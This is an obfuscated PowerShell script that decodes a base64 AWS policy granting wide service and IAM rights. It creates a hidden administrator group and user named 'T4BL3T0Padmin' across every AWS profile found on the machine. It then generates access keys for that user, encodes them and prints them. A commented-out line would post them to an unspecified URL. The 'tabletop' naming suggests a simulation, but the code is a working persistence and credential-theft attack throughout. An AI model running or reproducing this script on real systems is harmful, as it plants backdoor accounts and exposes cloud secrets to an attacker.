Function dcdb4($ecdd) { [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($ecdd)) } $asmD = dcdb4 "YXdz" $p0LiCy = dcdb4 "ew0KICAgICJWZXJzaW9uIjogIjIwMTItMTAtMTciLA0KICAgICJTdGF0ZW1lbnQiOiBbDQogICAgICAgIHsNCiAgICAgICAgICAgICJTaWQiOiAiUzNGdWxsQWNjZXNzIiwNCiAgICAgICAgICAgICJFZmZlY3QiOiAiQWxsb3ciLA0KICAgICAgICAgICAgIkFjdGlvbiI6ICJzMzoqIiwNCiAgICAgICAgICAgICJSZXNvdXJjZSI6ICIqIg0KICAgICAgICB9LA0KICAgICAgICB7DQogICAgICAgICAgICAiU2lkIjogIkVDMkZ1bGxBY2Nlc3MiLA0KICAgICAgICAgICAgIkVmZmVjdCI6ICJBbGxvdyIsDQogICAgICAgICAgICAiQWN0aW9uIjogImVjMjoqIiwNCiAgICAgICAgICAgICJSZXNvdXJjZSI6ICIqIg0KICAgICAgICB9LA0KICAgICAgICB7DQogICAgICAgICAgICAiU2lkIjogIlJEU0Z1bGxBY2Nlc3MiLA0KICAgICAgICAgICAgIkVmZmVjdCI6ICJBbGxvdyIsDQogICAgICAgICAgICAiQWN0aW9uIjogInJkczoqIiwNCiAgICAgICAgICAgICJSZXNvdXJjZSI6ICIqIg0KICAgICAgICB9LA0KICAgICAgICB7DQogICAgICAgICAgICAiU2lkIjogIkxhbWJkYUZ1bGxBY2Nlc3MiLA0KICAgICAgICAgICAgIkVmZmVjdCI6ICJBbGxvdyIsDQogICAgICAgICAgICAiQWN0aW9uIjogImxhbWJkYToqIiwNCiAgICAgICAgICAgICJSZXNvdXJjZSI6ICIqIg0KICAgICAgICB9LA0KICAgICAgICB7DQogICAgICAgICAgICAiU2lkIjogIklBTUxpbWl0ZWRBY2Nlc3MiLA0KICAgICAgICAgICAgIkVmZmVjdCI6ICJBbGxvdyIsDQogICAgICAgICAgICAiQWN0aW9uIjogWw0KICAgICAgICAgICAgICAgICJpYW06Q3JlYXRlVXNlciIsDQoJCQkJImlhbTpDcmVhdGVHcm91cCIsDQoJCQkJImlhbTpBZGRVc2VyVG9Hcm91cCIsDQoJCQkJImlhbTpQdXRHcm91cFBvbGljeSIsDQogICAgICAgICAgICAgICAgImlhbTpDcmVhdGVBY2Nlc3NLZXkiLA0KICAgICAgICAgICAgICAgICJpYW06QXR0YWNoVXNlclBvbGljeSIsDQogICAgICAgICAgICAgICAgImlhbTpQdXRVc2VyUG9saWN5IiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RVc2VycyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0VXNlclBvbGljaWVzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RVc2VyVGFncyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0VmlydHVhbE1GQURldmljZXMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdFNUU1JlZ2lvbmFsRW5kcG9pbnRzU3RhdHVzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RTU0hQdWJsaWNLZXlzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkdldEFjY291bnRTdW1tYXJ5IiwNCiAgICAgICAgICAgICAgICAiaWFtOkdldExvZ2luUHJvZmlsZSIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0QWNjZXNzS2V5cyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0QWNjb3VudEFsaWFzZXMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdEF0dGFjaGVkR3JvdXBQb2xpY2llcyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0QXR0YWNoZWRSb2xlUG9saWNpZXMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdEF0dGFjaGVkVXNlclBvbGljaWVzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RDbG91ZEZyb250UHVibGljS2V5cyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0RW50aXRpZXNGb3JQb2xpY3kiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdEdyb3VwUG9saWNpZXMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdEdyb3VwcyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0R3JvdXBzRm9yVXNlciIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0SW5zdGFuY2VQcm9maWxlcyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0SW5zdGFuY2VQcm9maWxlc0ZvclJvbGUiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdEluc3RhbmNlUHJvZmlsZVRhZ3MiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdE1GQURldmljZXMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdE1GQURldmljZVRhZ3MiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdE9wZW5JRENvbm5lY3RQcm92aWRlcnMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdE9wZW5JRENvbm5lY3RQcm92aWRlclRhZ3MiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdE9yZ2FuaXphdGlvbnNGZWF0dXJlcyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0UG9saWNpZXMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdFBvbGljaWVzR3JhbnRpbmdTZXJ2aWNlQWNjZXNzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RQb2xpY3lUYWdzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RQb2xpY3lWZXJzaW9ucyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0Um9sZVBvbGljaWVzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RSb2xlcyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0Um9sZVRhZ3MiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdFNBTUxQcm92aWRlcnMiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdFNBTUxQcm92aWRlclRhZ3MiLA0KICAgICAgICAgICAgICAgICJpYW06TGlzdFNlcnZlckNlcnRpZmljYXRlcyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0U2VydmVyQ2VydGlmaWNhdGVUYWdzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkxpc3RTZXJ2aWNlU3BlY2lmaWNDcmVkZW50aWFscyIsDQogICAgICAgICAgICAgICAgImlhbTpMaXN0U2lnbmluZ0NlcnRpZmljYXRlcyIsDQogICAgICAgICAgICAgICAgImlhbTpHZW5lcmF0ZUNyZWRlbnRpYWxSZXBvcnQiLA0KICAgICAgICAgICAgICAgICJpYW06R2VuZXJhdGVPcmdhbml6YXRpb25zQWNjZXNzUmVwb3J0IiwNCiAgICAgICAgICAgICAgICAiaWFtOkdlbmVyYXRlU2VydmljZUxhc3RBY2Nlc3NlZERldGFpbHMiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0QWNjZXNzS2V5TGFzdFVzZWQiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0QWNjb3VudEF1dGhvcml6YXRpb25EZXRhaWxzIiwNCiAgICAgICAgICAgICAgICAiaWFtOkdldEFjY291bnRFbWFpbEFkZHJlc3MiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0QWNjb3VudE5hbWUiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0QWNjb3VudFBhc3N3b3JkUG9saWN5IiwNCiAgICAgICAgICAgICAgICAiaWFtOkdldENsb3VkRnJvbnRQdWJsaWNLZXkiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0Q29udGV4dEtleXNGb3JDdXN0b21Qb2xpY3kiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0Q29udGV4dEtleXNGb3JQcmluY2lwYWxQb2xpY3kiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0Q3JlZGVudGlhbFJlcG9ydCIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRHcm91cCIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRHcm91cFBvbGljeSIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRJbnN0YW5jZVByb2ZpbGUiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0TUZBRGV2aWNlIiwNCiAgICAgICAgICAgICAgICAiaWFtOkdldE9wZW5JRENvbm5lY3RQcm92aWRlciIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRPcmdhbml6YXRpb25zQWNjZXNzUmVwb3J0IiwNCiAgICAgICAgICAgICAgICAiaWFtOkdldFBvbGljeSIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRQb2xpY3lWZXJzaW9uIiwNCiAgICAgICAgICAgICAgICAiaWFtOkdldFJvbGUiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0Um9sZVBvbGljeSIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRTQU1MUHJvdmlkZXIiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0U2VydmVyQ2VydGlmaWNhdGUiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0U2VydmljZUxhc3RBY2Nlc3NlZERldGFpbHMiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0U2VydmljZUxhc3RBY2Nlc3NlZERldGFpbHNXaXRoRW50aXRpZXMiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0U2VydmljZUxpbmtlZFJvbGVEZWxldGlvblN0YXR1cyIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRTU0hQdWJsaWNLZXkiLA0KICAgICAgICAgICAgICAgICJpYW06R2V0VXNlciIsDQogICAgICAgICAgICAgICAgImlhbTpHZXRVc2VyUG9saWN5IiwNCiAgICAgICAgICAgICAgICAiaWFtOlNpbXVsYXRlQ3VzdG9tUG9saWN5IiwNCiAgICAgICAgICAgICAgICAiaWFtOlNpbXVsYXRlUHJpbmNpcGFsUG9saWN5Ig0KICAgICAgICAgICAgXSwNCiAgICAgICAgICAgICJSZXNvdXJjZSI6ICIqIg0KICAgICAgICB9LA0KICAgICAgICB7DQogICAgICAgICAgICAiU2lkIjogIkNsb3VkV2F0Y2hGdWxsQWNjZXNzIiwNCiAgICAgICAgICAgICJFZmZlY3QiOiAiQWxsb3ciLA0KICAgICAgICAgICAgIkFjdGlvbiI6ICJjbG91ZHdhdGNoOioiLA0KICAgICAgICAgICAgIlJlc291cmNlIjogIioiDQogICAgICAgIH0sDQogICAgICAgIHsNCiAgICAgICAgICAgICJTaWQiOiAiU2VjcmV0c01hbmFnZXJBY2Nlc3MiLA0KICAgICAgICAgICAgIkVmZmVjdCI6ICJBbGxvdyIsDQogICAgICAgICAgICAiQWN0aW9uIjogInNlY3JldHNtYW5hZ2VyOioiLA0KICAgICAgICAgICAgIlJlc291cmNlIjogIioiDQogICAgICAgIH0sDQogICAgICAgIHsNCiAgICAgICAgICAgICJTaWQiOiAiRHluYW1vREJGdWxsQWNjZXNzIiwNCiAgICAgICAgICAgICJFZmZlY3QiOiAiQWxsb3ciLA0KICAgICAgICAgICAgIkFjdGlvbiI6ICJkeW5hbW9kYjoqIiwNCiAgICAgICAgICAgICJSZXNvdXJjZSI6ICIqIg0KICAgICAgICB9LA0KICAgICAgICB7DQogICAgICAgICAgICAiU2lkIjogIlNOU0Z1bGxBY2Nlc3MiLA0KICAgICAgICAgICAgIkVmZmVjdCI6ICJBbGxvdyIsDQogICAgICAgICAgICAiQWN0aW9uIjogInNuczoqIiwNCiAgICAgICAgICAgICJSZXNvdXJjZSI6ICIqIg0KICAgICAgICB9DQogICAgXQ0KfQ==" $flPtH = Join-Path $env:appdata "tabletop.json" Set-Content -Path $flPtH -Value $p0LiCy & $asmD iam create-group --group-name t4bl3t0padmingroup start-sleep 5 & $asmD iam create-user --user-name T4BL3T0Padmin start-sleep 5 & $asmD iam add-user-to-group --user-name T4BL3T0Padmin --group-name t4bl3t0padmingroup start-sleep 5 & $asmD iam put-group-policy --group-name t4bl3t0padmingroup --policy-name tabletopadminpolicy --policy-document file://$flPtH start-sleep 5 $k3y = & $asmD iam create-access-key --user-name T4BL3T0Padmin | ConvertFrom-Json $k3y1 = $k3y.AccessKey.AccessKeyId $k3y2 = $k3y.AccessKey.SecretAccessKey $p4yl04d = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("{`"AccessKeyId`":`"$k3y1`",`"SecretAccessKey`":`"$k3y2`"}")) write-host $p4yl04d #& $p0stCmd -Uri $uRl -Method Post -Body "p4yl04d" -ContentType "application/json" $profiles = & $asmD configure list-profiles foreach ($profile in $profiles) { & $asmD iam create-group --group-name t4bl3t0padmingroup --profile $profile start-sleep 5 & $asmD iam create-user --user-name T4BL3T0Padmin --profile $profile start-sleep 5 & $asmD iam add-user-to-group --user-name T4BL3T0Padmin --group-name t4bl3t0padmingroup --profile $profile start-sleep 5 & $asmD iam put-group-policy --group-name t4bl3t0padmingroup --policy-name tabletopadminpolicy --policy-document file://$flPtH --profile $profile start-sleep 5 $k3y = & $asmD iam create-access-key --user-name T4BL3T0Padmin --profile $profile| ConvertFrom-Json $k3y1 = $k3y.AccessKey.AccessKeyId $k3y2 = $k3y.AccessKey.SecretAccessKey $p4yl04d = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("{`"AccessKeyId`":`"$k3y1`",`"SecretAccessKey`":`"$k3y2`"}")) write-host $p4yl04d #& $p0stCmd -Uri $uRl -Method Post -Body "p4yl04d" -ContentType "application/json" }